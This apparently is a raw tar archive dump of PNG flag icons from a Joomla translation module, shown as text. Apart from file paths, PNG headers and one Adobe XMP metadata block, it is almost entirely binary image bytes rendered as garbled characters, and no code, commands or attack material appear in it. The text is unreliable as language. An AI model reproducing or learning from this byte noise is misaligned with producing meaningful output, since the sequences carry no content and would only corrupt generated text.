ݶ��CS+`�Ǹ�� �%��D6ū7�i*��|y��hy#m����!�����ţؿ?�S�.ڍs7oS�/�>O�U�����dW^�a��-�(�g��E��h������-���[p;�rs����O�p\B�0
DG?���;�w�FQ�0 K���HR�Մ
~���DBE`l��H�B�hta�Ȟ�n�F��O����k`;Z�
��&�N���\�G)��n�~H��<z>
@DDAA�lߞ�ի7�pA���@Bk`!�k6�w��!����K�u�V��⡊����b���^���A�t�-���G�YK��f��Ƣ߬���Tlۃ�4��0uj={>��XPE�QTU�Q�1 ���EE(B����h��RtTUGQꫪ��j-�Gtd���>}�k�סݬ�gp�c�ʗ�U���6~���#f�<��d��~J��]X/_�oL<?\]�$$<Ip����Qk�8�6|F�ֻ>V�j���F����#��Fi�j�.��ɯ
�ϏƭK�lnn�v��ĉ��0RQ^�{�0h��L�F�͔weQ~p���~�:��ڵY��#ICBQ�
VZ�3i��J/R��SK9���o|_�\F�iv����
!��4M�bѱZ;?���p&�K���̠x�J�b���d4Hr���r�d��y��"(�Ձ�c#p�%W2>GƄ��8��D2�R��\CZ�a�?�`�h��@M���Z�8v�._����i�ʟ��4��7�\) `�Dd|}�IJ�f͚,��=��^k�{֨U�j�և�Q��5;����'���c��V�lY&�/9���bu�m4,ũ�\�/���%��3q
h���W\���K�4.IL�җ��~X,���X�u�b�H��#)�5�Ҭ}���i���gg�g���8{��En��f0�1"bq^H�/UU��,'�'~@(7?XG��}}	�>	����B�U�d��e���FW>��Om@U��p���J��'`��^�v�*��'ظ�[E`0q��xz�(((�ȑ9�$��"�)IʹgF5��~�֦%r���k�,a��f���S�g�<<~����4+�ꊨ�q���0��
�ȲUE�j������VRv�>�	�[�5�]��:�n����~�.�����H�'��[�&ᔉ��ݑ���>�Df�Ud�j��
6��t�?���t{�ܖ7�ޭ�|�͡�:ut����7pG]w�@X��d��N����X?�i�����'uQ����F�Z$�L�۳q�d{b��=&Ȳ�[��.
g/@-+�'6����ܔ˲[�u����d2ԥ--5SZf�]K̔��)))���̜91��n�Cy�Zb�sm�<d:nX��G1��hh!�Zw�P�e*ii��
>�΃������ߧ�w#Izܕ�k� �))�NII�nee������:HBF V|��$���X��c9�0�����ُ.9_��GcG� �b���W��
�'O^�ܹ;m-�F������s�ɋI\iߞ�]��j�ɀ�ad�ޟ�}��ڵ-�����1A����I���IڌCЎ�L_y�7^Zg.n����.��E�?!
���kZ�e
A3f�+*�O�J��U|���x
!���_���u�nP���}8p �=��&�������%��(�Ӓ����g�|B겭aB�<(�
�e�pg�G0`)�N]�5!�M�΍��~�s�D�8�mˇ0/e,Bh����ȶ��K�$�y�������R���ޭ|1���%d�;	x��c�{rr.п
��h�M���D
�(s�O��O�عo��~�zM=��>��O%9y�csƗ��Cš=�H$�H&)?���«%�{EW**j7n5/����Z[44=܎�/��չ�\"������^���뷔����u�P������[h�_�&���J�6vnɲ��zNZ
x �|�޶Q5��\��2��Zz��Ċ�����)۴���fa-�H���H�����]:�m�1;����q�:o&�e�s(2�>�)��rо��+	p';�G�����Y�߄X¿��W��7qyh��uj�y�+�fR�w�Vύ$xU
+���[���5
//���&�����W������v�L��h$%}™3,Z���	�n�i�;�^_H��U��?�h�
�eN�uV��c�7wp�[K
�PVf�S��awW�_YYᐹ�^�b;��!5�y:t��J,�EHX;x叚݀V��
�u W�/���ڜ�����>�����_ţ�i�	cIEND�B`�mod_gtranslate/tmpl/lang/48/eu.png000060400000003570150746170550013031 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<IDATx��Y}lSU���[۵]��Od
$(�"0�"�Ɍ� �%*~�����2E�"�N@��&((�dk��k__�{�ڮ��{�K�bOw��s�=���=�[FEd�`�S€��wҴ�郟�x�XyK-��N{�S+����xoKz�כb��^,�-Y��v�
�H�T� �`H.xp���B��<`�;����}�5N6�&ǀh�7��+5@/�x����DX�C6�:%v"��O@��bfec���qA��F-*G��df/f!/���3՝��N����|�L�>���	f̾�Ƹ�XH�l��b�����t���\���2�#+��t���B�ɀ�?:`�h��|�a�)NΑ�c��2x��F�_�y%JQ5��ϣ�|:���k	��ҟ�X��j��� �y�B�?��z�U>���5��.t`���7Ls��:�?Z`'Ё��W��ba�z�7� x9z�ŧX�bĮ1f���XhN*��x�o7f���>���4A`��ye�'�"J/ub�M4|�=0@$�D���C�]�����"+S�T�]��E+���H�
}^�����d0�_{��;�Df/�H��2 �!���B�A����K��f�mV?`��'�5��
��?O6�,pS��}�c&+<��ZA�w��$�#W��
L��wM�kX�j��Ɖi�LV>y���3�W<Yہ$^ٕ��G`��0U#L�d��f���O�Q��FF)��:�~�
P�
��=1���H}3Ɇ��Uo��OB�͊����Ux~� ��8u4���^�L�I���b��I�'
BdW��!`%��!�ۂ�ă����*q��m8��s*�k�b,&+XJ �ZM,���z���uN|<-�e+<*c;���6��G��[(h��S8`H2���"OV��0���b�N7�,NÁQf0Q�I��\7��g֕N�|�'�W'.�$��s�&���Y0̘DE�0�?��[��8}uJ1�.7�F|��|����t)�F����1}�
sH�`"
&��ˏ�㙳��o^�b�)2�2q*�h���[�f��"M�9~ʊ�FyY%�#X3}����f�{z��`
쁐��cC�(}z(�3H�Х�>�����r��T�K��,�4c�
�纩�([��V�&�K�9E�.���ye���?��K"����-{"W���OA��1�Iݰ%a��f�cx��)��`��fdu*Wj�.wb<���x,�yFi� C^H�rh����'{���P�΂E}h�!��Tf�K�p!;9��b���-?ކ��������)�
¯��=�!���|t^:��B:�CR�UBW���̔N��*�<''y����`Z"����1�z���V�ϭӠ|v6�����`R8���#��@�G����֋q^�/��k�
5x�����㩜x�T�6I�P�›X!�b�H���0�<5D�+��'�h��M��O�|�_�a��P�*�O�t DB�Ŭ����8
cq��V��iF��ׯ�u!)d��xm^6.f*_�Є�~� �)����+p8?���Qyzٻ��~W>DT.�O�G�y)X�hp؀s��0�T��iGV��Z��Q�t:�ZV�j�T��ƒ��<����!�M���tg'�>��ط�
���"�HQ��(����W��x6xȲ�QY�=v����-a_�Ł�ȡ�br�ҡ��=��&���v�n��c���-�ρD���$~�O�0 a�J�
0���1!欃IEND�B`�mod_gtranslate/tmpl/lang/48/ht.png000060400000004201150746170550013023 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3" xmpMM:DocumentID="xmp.did:C1FAA12B723C11E2A134B5551BF270D7" xmpMM:InstanceID="xmp.iid:C1FAA12A723C11E2A134B5551BF270D7" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2CDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�{��IDATx��YMh\E��۷�i�lӸ�R6����
�A��P1�u��CAi/
�o�=	�[!DK
��AJ��-j�����s���·�y��kv�浨w��ۙ��y���f�1��\,$�����	0�Rte�{���˱�_�ӥ$���4�!I����{��ۿ�ې&�����XYs�N3�1��u�E��ԧ�Z�3���ڍ�+���1fm���s.��j�L�o
��iT�k��*����`�X2̠�u���!H�Cy�	Nc�P��Tqk������PW��5d\�)�j�T�\W&�5Vn�&亂:D2VeB�q�}Ӏ�#��u+�Ucn"P�ƪ�
��V�5 �$�2�U49������
�l�an�QmBUNZ��F�iMX!�iֽ<����cn
��UAZ�9�*e�>��r{�ȳ��h1!�l�AG���t�U�i]x�����/�ۮN]�[\š��#�ë'/��>�i��%�gmR���MN���چ{��cl�8��c�<u⡿�q���|�|�5�!��=D ��]]čkS�8�_��0�4�|�����q����<���4�,~(�-Ӊ%J�n�Z�S zKQÇ�����q��%L^��������ν�
J%�#4����L��7ūP��}�W���8��Gq��m�ژ���?�Y�/������7��/ȋ�ɬ��;ZƇ���~V�,~�����&[�ރ��ґ�0��O_�E���'
_b������~�� 2,G(��Ԁ��	|*���/w�VƱ�Ȕ9��8���"O� r���k��N�6��7��k2�%",c
2;�c6}�2w2��>r�����5�|��
T7i�1ش�-�Kȏ�b�%ȹ_�w��Z�yP�L�p��
�:'�b��}�0�͌`u�;�+؃�y%K.q��<;��~3mw��rCJ�u��N:U����x����A����^l1`���r�Sqs-$�MH�	f��V�v����De�v)��ئ���Q���nVuѧ"��l'�<��[��Gg����c��F�{�
�t�0��Z	Ҁ�*M�	��b��b	�@p�N���
M�@�ٟ8S�<w^Y_G�І���T�F~��Y���`pOR�m�Y�K}�@�@���Z�`�|HƠP��IEND�B`�mod_gtranslate/tmpl/lang/48/uz.png000060400000001713150746170550013053 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FQIDATx��ߋG�?=ӷ�ws�D��&#�I@4!��|����!�� ��@B \@�K��IDD9$�\��x��n�tUvvwvo��r��f
���)z�[US]�mT��)"p*����y�a�
�>�����c�[`��rt�x�֗c6�/�xe��D��[+.ݺ��eQ�^y�X����VJ�p���ޙ��_��*�1d�xo;���WUN��WU�1Kb��,yr�ȼV)�ڴlD��K8�o��
����ۿ>"*ED�О�ycrj��nrj������һ�w;ƀ*du��j�L�E�t��D�cñ�[at��#n�y�]#�x�c1��L֊f���̱V��ˑKM
�W�(�2l���*�.���Ƀ;;�G}|[.��F�卻���x@P�6X�5�4Rf�X��h��~��O��&�|'�l�uU�wW�q��=zs��o�qm��PL����%�醐H�09u�o.�Pw���Lp����6J�)�>��zS��?�Vs�����蹋ӻ�G�>M�g�Rf���+s���l�02l��"��81a��9�K<�O�?i�d�Ey:��t<`.\��h�f�V��F����!U��5f��
����:�Z#IZ�Z���XԹ��95��E�U�4��,��a�4D�]�}U�XI$��d�x�|≣(�PҖ��=1��Mݧ9.4�>:�}�+�ͧ�ф���G�=�L}���c�����,$������X��(�d�4�J�Jl�`L��b;{����B�Һ(��|5�R�`x��������h��@�7��@�ҿEQX�/9�IEND�B`�mod_gtranslate/tmpl/lang/48/km.png000060400000002640150746170550013024 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F&IDATx��m�U�kϳ��{|̰�7qQ�J�%�B�DR��H������zDY!A������L������{�b�3���soR�6�gf������{DU��f��
`������Ij�C`��/�t!�(�7�D����!��}{�N�s�h�@��sʕ���&R;�V�En=�b���z�%����4kgR|E���{J[��lA_�Ƴ���#�mE�N�� m�E���}�k�
�(����A-I��+�st\X?�[Y@��t���/J�ӆ�S��Q�p�R��;�8�y�v�H��6�8�Ɔ�/�u�^nIb8q�����*��� �>���b��B��A�jK4_i5�>�K�7K�n!}�_X�%ϸM����F=��J���O��/���LO�s7Ř���ˣ<��{���3�=aU<��C{� SӤ{��
���a�Z�!Y�o�-IL���w��{�&��h��E��n�%�6K�����$޹�2$KI�v��y�vm�F����<�G]�w�%�;h�q��"?s��<�[�z� xcH�v�f�>�3g�(���ShY2���ŋt?�ly.T�蚬�94_�/&;v�*���0d�[oB`0Q���h�~��/, a��=�1�����
�����:dcf��yA���*@&@�Qa�P-�t�4C��b$(��a���t�;7c@�C�6�_t��;�hY�[[�Qi�}�B!i���@���:�uk+׽re��o�#�Q�F7c�ѣE�_�VJ�Q��������Ʊ��
hQ�ݚ��d�f{���8-ܲ���b��ŴZ��Z�P���5H��dQ�Z�$1���;s��s��0@�0#P_��m��$��x�-�m�H#i�$1�u�7��A�A�L0�В$H� qL��.6�|�ræ,]Z>^����FQ���_�ㆩ[�=K��#�ZqT�����l
&�0Y���_�K������۷�~�J��,���Z��i?�ޢ�,e��K� R�hY�z�jmغH�V?�Ai=s��Mc�ց<���2�I�[��ˋ�*����.��}��ʊ͝����T/$p�`��r��
͞���^nG�/y1��.V�mz<�4	��8�_J(���
�J����Q��uރ
�CoY�cX�gt�A0�s�Ik�<^W<2A&�QX��B�6�B�1NB6��q�$�Vp�D�t'*�8plv�&,����K��:I-:���~�*�U�j�kח3��oIEND�B`�mod_gtranslate/tmpl/lang/48/la.png000060400000002401150746170550013004 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��M�E��]ݽ��������� ���h�1QIL8z0��I/z��p�n�/���/j��`��pX�.�13��t�tw���f�A�Y&�?y���JO���z����֚n�A�c��
�'��B����2�m�V�\n��%�
��=׶74t�mD��Sk%�
4"�Rׅ�3Մ��G
T�~�Q�Dõ��bhu�á��/#�alM	4N��r�}o���8D�Ѡ�غ-�@-��$�h��� <���$�	j���u-'�MNC��-��QXDZ�-&��^=�"P���[E�1�$�2�[ �݌e�QZ`,A�N�F���x@+�(�c�j�G��^@E���n�0HT"�݃��4
LS��Z��n/b�6� `��V,!p+ǘ�=F&��D&O�z,N'��V���"N2����ҥ�I����o]<iB�n�6C+�:a�
�T+E���;y���E��R��Ϗ������}���{Ө�LA���ej��n�#o��RϢ˽���2>�9��B�ߓ�&��z�ZL����4 ��i�D���[�N��8�ޢ�͍T��q�!���л�6vb�R�0�L�dddDZ��"��òr\<s���m�"=�9��#��ڿ���Gc�RBA4��:8��µ#O0�>.���2�.�i��ڍ��}�RBu�r\H5�#�Id� ,}�=� ������<ź�\K� �ۏ��Y�'�*��Cm�&�j�QՏ	��xs��w�׸���L��\��:��{\�1)Wdԍ��GmMRit�D�U�}� ��._�==M�W��;�{�A[Y?H_~3�n�>t� J�'P
w�U�S��=n�p�hf���FLS�{�\���AΏ�E�4I���5�;(ݤ�\Z�3٭�=�wd^~���ꙿ�ML2�,�͆�6R[3H*a�I
���T�Q���l�7�,��-����uQ�2}��;�0R�
�z�Y��Z�z[�kU���bNL\��b%?[f29[)�� [�<=†�a�4�V���Z�F���sh-H�`��TB���b�vܑF�Ҵ��=&X�F6݄���1XO�!K��nE���'��B�ܞݳB���0l�]����x)S��&�@Y��ԯX!�B`Y����_�D�&�IEND�B`�mod_gtranslate/tmpl/lang/48/lo.png000060400000002233150746170550013025 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F!IDATx��Kh\U����d��L}�b��)�X%Z���)]U,.�����wōAp�V+�n�F�՚��+X15$B11S3�L�>�\̝���N�ڋ��=�<�s��|�s��,1����;[)���D\=>�����O���86�w�l����춁�!u��X
�xi���
=6Ѝ0��+���M�JZd�{-���j�u�L�a�l1|��@���R�*0���e[Ս�U�\'2�16F�G<3�g�G��ޮ���4	Ј�"�����⺈����6$A�ր6��
��qc��E�
p,�4�� �d<��I���Q�.y���ձ���#$�I��a��)�~�����b��0���2���م����_\����G"��]u�
�����m|t� S/>��̆���;88��g��w�fv����R
�C<�
��s!T�Y�������Ȥj�޻;�[�L����X����F���"�1n�P�赼,�x����|Y��{x��	�޾زˊ~���r���Bԧ"���\��{���Ğ����Μ����GOh��Oc
��x�i�'{`�I��v��W�[�˶B3 �])�ll�?�t�T��V��z6����Rv��6���V�:��6�#-��M.B�򇅶��ZW��`Y
#�A5����\���0��~gzf.�~#jY%"��X��&P�Ш|�՜|�S���G��5�S��ɭ������Yq���$��_�/s��Y�j~1[���3\�˶�W9z�0�6��֚���j^.�?�f�����±�8��~��ه��ǟy�N�ƻ����ږ6땕=�@
���}SW
n��ux$zo߂�TD�Ԫ_�G*�������w(��
*��0Q�a��3��9�ˇP0�_^v��m��:����R)���`gWW}�۶�>�v?V��6*f��m?Ja$ ����c������-�r h��
�+���+٩n��\��V�N`���/?)J��z�g�������?���B�͎��IEND�B`�mod_gtranslate/tmpl/lang/48/mi.png000060400000004206150746170550013022 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��{�U��?眹�}���]^��+m@PyHb����д���
�&�>RMImm[B7!�)X@�R���[�B�
,�²{�9��L��w��{w�����ə��9���9�9�1��L6�.���8@$��H�)������_/J�&�ecɒ��H�X���Q,��P�˅L��*m?���ݸr������)�̜��9�4+W�_$�N�uc�'�_����0e��
�͆
���9
8X�0y#�c9�mC(�ȑ}
���=��R��}�����#})�o�	@'D��
�
�b4��g�@zLϴ��g��lܴ|�y-�p�q�A@m�ir
�m|�����C��1�H�+8q�����S[���4�5�G�l�:���@��9hm""�a���/�;c&R�g'_XD�I�7n��E8��Q��¡���|�w��wW�v�B����֭�����IH�<�LP���4���ʑõ�����s�t3�V��9�Y5�|Vʹ{�Qq|?��XI�8������2	��9 Bß7=��!�V���{�dƚi���F�ϼ�0��`B�\��Ǩ�I���̑f.�S4�,�op��9Q�<�6h�	�D�K���%��>�b�Ჟ>��|�A8�m�������g�
�*�w��`�:ܡ#X/K��C��M�:���b�ڇ�	��� gP�L�����P=�)2u�6���]A�c�!�\[¨��9$6m�a�7k��p%&ބ�7��jX-2�b=[�������x�Hw�.)"7�@CC�m� @)�����Q�`'S(`�.�����o��}>��	�p�B&ޣ��q�6r2t�E�p+F+���h)́�0�ϱ��!({�9LC#F'6���6��Yo�w��<�穤u4J�W�s�@5*�Ii.t���S^^Dc����M7������vR8}z�Մ��
	D��ϲ��wl�p�t�w�R„ù���ح�ۤ�Ur��%
1}p��ɥ���u���Dphjj"�a�C�{c_�OS�ß�6n�G`E"h�]���,x���bt�}<9�*�}b��?��[�A�)=\7H��&��FI����x��ߕ��ƘG�+�0�E�_bv���.�1� <*+�dI��<��3��pb�Lr�.��˃�����)���@�|�6��>�y�K�M��K0[63m�*~��(Jz�!���>��DB�3ch.����
�R<�M�	~�+�i?��=:_uG\�ʷ�!]�`欛X��v
Oq��	�Vq���<z�+�F��c{^…�$Ɠ(�p�͑�u�=�7̟�Gd���^�*A���0��uR��<���ʓ�s(~�Y�1dHbq���LH ݀&�G����>ޏ����8�� =&ML㻛8>o!�|���&��s[�םJ��B��H�
F<�v��
l�z��~v+�����x�i��r�k�2dbS**��X�b7![a5Q��������u�p�!t�d}+*�ڙ�S2�
���J��Q�
C˨zs/uu1�*!�훛��Jijkc�:����%kDZy��-H�u�ABIm�w��C]Iq~Z!Ӛ���m��N�*�ZE�x���']Dm�
�R�|���J
۶�gί	a��)��t$+dX��1�ڴI���f��~���A�28�3{�^^�2o��J#�����l� ���k�<��(�R
ts�2yд�Ӳse����W��.)ʣG�R�+��E�&�`Zɑh�U��dhc���5h���<|_�C����r��?�#Ǝ���Z��L��oe���c#��+>�c����9���ڒ��^��&�B&�e]��5�PP�����5�(�'��椴�Vk�q/d̅-`�e������>:B8��з�NK�͛|�z4J��g)]V�ل�y[L�tJ�SAA��}��/g��w�4�����&�I`��lz�ώDh�.~���"��.(�{s��J
�FIEND�B`�mod_gtranslate/tmpl/lang/48/gd.png000060400000004602150746170550013007 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F	IDATx��{pT��?�޻��< �BB�1AE5h�mt�T�L}� �ck��qZ[E���v:�He�a��VA)
X��d�ڻ{�l6Y���؎S~3g�޽��{��u�RJ.fQ����K��	@\�׋I, ������Okg��5��u�p:��F� ͛�Ë�S��<x���
 [Jyt(ݺ�?�����*�B|5S+%Ҷ��Lf�e�I�ӆ6!r�'��������w?o����T��������ö+�x�2m�,�<�����/Ĵa�uش��������EaC�8�,��iIl�ff��[��ě��BLS�n�A7����I.�Y�˷�3��&�ecX6A��0C����i�=���z���M�9��]���xys
����,�v�rӒ��|����Od�Σ?Ӆ�TC��eD���JK��吝��ӝl�8��{�	8\*��u��*gRZ�>�f#%'5�Gn�g��F���CöA��(�z"q��Qܖ�m�4����.�K�'`�[�߰x�#Toc�
�I��/�0�dAS2�x�#���p�����.�\0���)1��i���8p�
ա�T�l;���6�򬽵-44u�|�4
�=Q�MMa��l��Љv4�v�ՓRbM�2=��%��dwL���Q��_G�K�2%���
�d^�dy�[���l�������g��jR�q�����x;����]�p�&�����ҩ�NpF���]�xek���P�>]�m]w�Y���Ȱl���!>k�q�M�LMu�]�;��P��a������S#`���ĊEә��s�����|v�ͥ���~l�"�V D��у�СT�n��#>�.�e�u�Q/�Jf�}W�ڶ:���,�*�K�H�@F�J��y�?�[�4q8U��`L�"�,�|'�LA�O��6;t����w�����I���n�'n����� �WdĜ�S>?�6V��Y4����5���mvo��L;�Î>C�`�''����o��M�ӣ�/-�0�����&^�P�Y�W�Ò`�(+%0���t���U��V?+^�˝�'��m�$��/�Ǻ�6԰��P��2����a���-\���=��mo�S��~�dߘ<fD���g���`}+N���Ǡ�J�شvbV�Ce~�DIu3۟���))�|_]7��=��I\����~$��Q��-�m����f��
l=�c�nV�%3�<Þ����/��u��m�g(L�yaԶ��eK���+�Y}oS3�Fd>qN��7�2g�8��>>��	��q^��տ�%Ca��e���-���]�����G>R�2F���<}�,�У[� (Ӓ�'2$QWAJ�����"��1.��nEAa���}���߻���S���Qsԇ+�I�ݫX����A���,]8��~Y2,��[�(�黔<��W����?� ��Q��M�uA<�&�)�e�mB�"{=]6�1�������Lj�'�usϚ=���
)B	g[�	*ۙ�76j��XT���Q|V��׃�P��p�)�@H���
�!3˖K��e��_&��O�'���cc���>>ƒ����n��
����*N��u�?1zAW����s�8�����
�җ�B9@���Wn,W�> �裨���W��a�sI�F��;�KW�f��hl��v "�LH�s;h<����?⇿�M�nFՙ�u�'�R����~}�9۶QT�mKz�)�)_VL��i��p,{��V�
 ��f@U��RS����7u�����J󘜖�ï����v\n'�-�D&mK��&Kn��o��n;��v���W�‹v���!�w�w�qU3���?s��������q�dt��aJ���)����c=�������}�����n�s��=���1���#?V�4�b˞F5urM�8ݎ(�>������@E]mm�Ȇ-�ț����W��c���1޶�$+^�Gé\����F��r'�b�E|�0�ޡ��Z��]/�:�kko�M�nX<�n?/m�’�<��AM/���%��sD��kkg��:��5�;+�2����� ������#�
~�� ~��]U��?l��
5����z<���i٬�T�K�	-��4�
�u�8���e�y�3І(�����x<�����p�L���	;??�í��H��#v[b�M��Nc彅L����N@*P���s�A�y)��z1I����_"p��%_��g�wX��UIEND�B`�mod_gtranslate/tmpl/lang/48/tr.png000060400000003054150746170550013042 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KlU����G��m
�
��� �&�V�Yل�J��|`B"F	7����FCt��U<"��H �@)����{g��9���Ng�jyȍ���y�ǜ�������Y$M.�f���R�k3�\h���?ڌ�?��6�n������&_h��Zc�B�����&�Խ1��FR�n������
@�;�>(U@t�z����Am�Y��d�z�J����x��>��@G(
�rPB�d���i���?��2�4�(�C��F+t��<�*ct5����Q�1���,��h�H$������8��R�8�
��>�I��Z�K�嗐�V�x��� �A��7�¶��D"�sL� ��9Sr����n�B���f�Sk�b\g`���GQ��!��'�׭2b��8�qjW�q�/f��ȹs�*����ϸgϢD*E������L?�h�DK������h��>ּy�ݶ-6y��I�|��!%�{�4���Ē%(�1�Pɘ���˪��G�J�pJ�}�1VWW�����~�
<&iR��Lpϟ���--�1N1Z�g��nT#���>�…����~��o��T(���<����l?�۷c�B���̜�Ǐb�@�ЅB�g�"�իb��<A��Ed&S��?R,���aΦMx/��o�޸���}x�²f�F�����T��Y{�;�4��H$�{zhy�-��?`l�.�K��s�62S%UF���5��G�{���zl,�Z��<�k��%S;���C%�?�W�����:^��L�i%;:j��)�6�so��ؗ;Bõ:;���*�5�KԈ��u�Ywp0�֬ADSۇ����Q:>���_�n�Mz�&�K��ݸ����N%�e�8)�I��t���fH���z�u�ӧ��Á$�XL;Fߧ���̔� ��j ���\��xW�2q�H�s��=X�݁�hl,�T�0W7 �@ݾͽO>E$���,B
L��������u:R7Y�(_E:谣L���܉{��T�|9�&�ʫ�|>(��:����"�vmeB���ǸNeW��V]��u�yrAt�9U
��0�-�kٲ!��R�p�q������իc/��#�_ÿu��Aˆ
�۽=2d��}J��j�4�&]�oY�p��
,���C	cd�AB'3��{��w���=��{�����߇.�B?�D��I<!x�ʕ�PO�PJ��w���"���׭#�ۋ�d0�y�?��:��{��<�ĭ�T
WkV\��sѢ��m�&s���n�&Ol�JY��8NL�q|��ׯ����Ѵ\��Ȗ���:O�d�2g	��{��̜�`Ρm��L��h"
!j4���Pȧ�֦��]�Q�X>ߌ����U@g�M~8/~/e+�f(��?��f��O�e�������IEND�B`�mod_gtranslate/tmpl/lang/48/mn.png000060400000002614150746170550013030 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��M�E����d6��5
!
�$�`<(�7��I�`���'A=x�Q<���xx^
Ԁ'C Lܝ���nT�硻gjf{7�=����~�^��}v�QUf��x����!�*��h�N�GKK�ǎKp�/��ev��;S-浏߫=��o�>�*J��ӵ��\�L�u��Z��.r�}�B�!�z�S?�3���k���|��bڠI�;�G�UnA#Pq`��1U���3�-\	@������0�/�U���V����D�6(�fh�m\%�kN��ޮ<r��9�a|l2�>�fٶ�vj��T>PG�fl�@���C0mEc��m;a*�}��Ft0&s"iNi��}�94��tt7�%a�Ք�
���6&���7�,�Ȝ@���8ޠ�k�94�sd#L+AVAS[�,����q��h�s\ΈQH�M��R�_)ۙz���F����iQJ4N�d���<�HY�����P�����S���&$����^Oi>hI.5���40��'sb��E!u�L�x����c���N�ƦBә�Ļ׀!@��P�	�ݐ���ji=�
ў�
AS�JC������� k=�^�p�}����ٌ��I�>��mp��Ν�:Q(M�kQk�\�*!������	a���iQ�#ΗM��myQljL�i��]�}z��o%�s�놹�[��X�.]/rDVT�n:��	A����X���h7�n��qG�c��6��n@���d�)��h�:����ٹ��xZh>�P.LA%:"����a����/i���>A��t�^���n/��0*�0�6��p&ƭ�:�e�儍�pgJML{�Wc���Q
��
F��V����!(���5�Zo/U@dd��\���K*�~/�ۭ�ޱ�u��bP�6�%����s!�-[M�-xɐ疱ߗ�wvhB�@"E�V�҇Oe�		�:4��@�Z�+�u
B)3��b'�–fV�<ci?lq]���2%�9Д������5}H�&��[j�s�+����/!n��C��"<�����jE!�\s������a0�+�A��I��WV?k"}Cr)�Bäx'?Cx��J�o��R�=�?a��֎+�z]5MH�Od޹�L����<0�����5�H0C�}`f�&u ( ����}�t�H���[�n婵���b�[]�ju��j�8�1?�	�j�?/��,�X3{_�������dz�jIEND�B`�mod_gtranslate/tmpl/lang/48/mg.png000060400000001346150746170550013022 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FlIDATx��͎�0��I�vWj�h��8Vp��y$8�r<��rF��e+��áI7MSZ�VD�8ql��3U���r9��w:@?��Bf���L�w��i,�CU�9��o��y����4��"���������s���|��*��.�C���:n�k��	MS$�����በ��zuu�:��Y�:@c2Ku��6'z@=�˽����49��k�������I��1^;5@����K�@���5ei|���tc�Yz�^� �t:`�"q͗�Q6�
���A�/?`Bħ�BIy�
�1~^�{`|1��=q���ՒW����B�p��t#�3`�V�M���]o�UVYD�/����#��ϯaz�Z�.����bZ	Vj���d�&"��w�ݐ�Ѝ���5u!���Wߗf��M]�iG6L#�'�^77�)��I���B����N�$UeEv��	�wՓ-���ڛ��"�b{��\E�sY�����""��BQ(g��
�1�@���R�fQ�.�˜�>`^�e>@~��
9~+�c`<j����!
�	H����p8�?}�X�|TT�IEND�B`�mod_gtranslate/tmpl/lang/48/sw.png000060400000004225150746170550013047 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��{p���?����&����2 @�7��H�J�,>��uZ��q���RR�
�2�B*ς@;��V;��   D!"�D�1�����v�$$�0���7���s�9��Wh��������6���@\��V"	��2r��⛩IX�L���7��Ǐ(����R�|;w�ld
���ݢ�\q�����B|�Y�Sڣ���f�?%m��Mvռ���h`qJk�R����uT���u�{���k�y�@ӷI1��,ĈS\��y�j�]��&55�4@�uyO+�VU��FU!Z��ˋ��0lϤI ă�/�&����w;v)��
�"�A�� D�EJ�V=,��tq�wCC����ҋҲ��$��/
6mq9򾪵�qPZ^5@�p�đ^��J�T�
�d]�W�b�G��mE��M��84L�����^�]Wli�-����@z��S&����o�z����c�d���.��Q�u!W�[���>cpf"��;)X���\����%��&��BJ��u�@гh(glǏh�Q�ɾ=�߭���k�B0i�EV{<�ww�V���]�s�;�+e�*�J���S��^bD��5�)��൵6ݫ���e���� �uo�bӮD`e�O+��!���žI��cL�|~���ރU�=���=�6Lg��<��ۆU�zS^��g}
bI�u"�OS�!(-z�1�S-3���L֭Q�}�~@��`��ͳlB%�c����"!9��QY�ӊ��	K�����o*Fd�cT�s���3'�_q�x�C&���1b�+���-y�p&/aP@�BJ��{u���&�
J��4�3��3xc��ŗ=JK5��-tB:��G����G7�OZ|�k�X��+��k� >x9��ttҔ:��i��`x�|�u�#%ա���9��ޮ���&�e2y�S��L:O-�#-!�'��y��^#b����v�tM�%�3��Y�f_�ɮ����{\,�;P[e
����o��Æ�]Y��?�_$@�<"�J����*\ZsEՂ��(d��Gi�Q��<�#Y��~�M/�H�t�K�L�7�
ۺC����]�L�&D�X)T
�C�41�fB�3L��i�S<>�@0i��;�{����'|̘j@|�Z3u���
�\#�U�F�k}K]�)e��s�{�?e�n�"w�G��u���
�-���	!X��w�]y��H�ѵ����0���G8����<���Ӄj2e�ÆͲ�*]e����G-��5I�q�l��=��C��v��]�4bӨ�$
